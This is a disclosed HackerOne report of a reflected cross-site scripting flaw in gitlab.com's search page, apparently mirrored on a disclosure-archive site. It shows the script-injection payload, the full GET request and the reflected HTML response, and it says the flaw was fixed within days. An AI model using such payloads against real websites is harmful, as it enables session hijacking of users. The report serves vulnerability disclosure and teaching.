Skip to content
XSS Disclosed report Beginner

Cross-Site-Scripting at https://gitlab.com/search page

GitLab

Originally disclosed on GitLab

  • Fixed in 6 days
  • Disclosed after 6 days

HackerOne report #703590 by levence on 2019-09-28, assigned to @cmaxim:

Vulnerability description

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

The vulnerability affects https://gitlab.com/search , search

Attack details

URL encoded GET input search was set to the'"()&%<acx><ScRiPt >eDw0(9979)</ScRiPt>

HTTP request

GET /search?group_id=1&project_id=1&repository_ref=1&scope=projects&search=the'"()%26%25<acx><ScRiPt%20>eDw0(9979)</ScRiPt> HTTP/1.1  
Referer: https://gitlab.com/  
Connection: keep-alive  
Cookie: _gitlab_session=REDACTED1;_sp_id.6b85=REDACTED2;_sp_ses.6b85=*  
Authorization: Basic REDACTED3==  
Accept: */*  
Accept-Encoding: gzip,deflate  
Host: gitlab.com  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21  

HTTP response

HTTP/1.1 200 OK  
Server: nginx  
Date: Sat, 28 Sep 2019 21:27:04 GMT  
Content-Type: text/html; charset=utf-8  
Vary: Accept-Encoding  
Cache-Control: max-age=0, private, must-revalidate  
Content-Security-Policy: connect-src 'self' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net wss://gitlab.com https://sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net; frame-ancestors 'self'; frame-src 'self' https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://content.googleapis.com https://content-compute.googleapis.com https://content-cloudbilling.googleapis.com https://content-cloudresourcemanager.googleapis.com https://*.codesandbox.io; img-src * data: blob:; object-src 'none'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.gstatic.com/recaptcha/ https://apis.google.com 'nonce-A3ynEVDdvD87VQiv/HjHfw=='; style-src 'self' 'unsafe-inline' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net; worker-src https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net https://gitlab.com blob:  
Etag: W/"a7126d9a680b1c57a7db48bdf98cb14d"  
Referrer-Policy: strict-origin-when-cross-origin  
Set-Cookie: _gitlab_session=REDACTED4; path=/; expires=Sat, 28 Sep 2019 23:27:04 -0000; secure; HttpOnly  
X-Content-Type-Options: nosniff  
X-Download-Options: noopen  
X-Frame-Options: DENY  
X-Permitted-Cross-Domain-Policies: none  
X-Request-Id: 4L1sqBZHJ41  
X-Runtime: 0.285532  
X-Ua-Compatible: IE=edge  
X-Xss-Protection: 1; mode=block  
Strict-Transport-Security: max-age=31536000  
Referrer-Policy: strict-origin-when-cross-origin  
GitLab-LB: fe-13-lb-gprd  
GitLab-SV: web-04-sv-gprd  
Original-Content-Encoding: gzip  
Content-Length: 20468

<!DOCTYPE html>  
<html class="" lang="en">  
...  
<div class="search_box">  
<div class="search_glyph"></div>  
<h4>  
<i aria-hidden="true" data-hidden="true" class="fa fa-search"></i>  
We couldn't find any projects matching <code>the'"()&%<acx><ScRiPt >eDw0(9979)</ScRiPt></code>  
</h4>  
</div>  
...  
</html>  

How to fix this vulnerability

Apply context-dependent encoding and/or validation to user input rendered on a page.

Impact

Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.

Furthermore, JavaScript can read and make arbitrary modifications to the contents of a page being displayed to a user. Therefore, XSS in conjunction with some clever social engineering opens up a lot of possibilities for an attacker.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity XSS bug in gitlab.com. GitLab made it public on 15 October 2019. Fixed in version 12.4.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.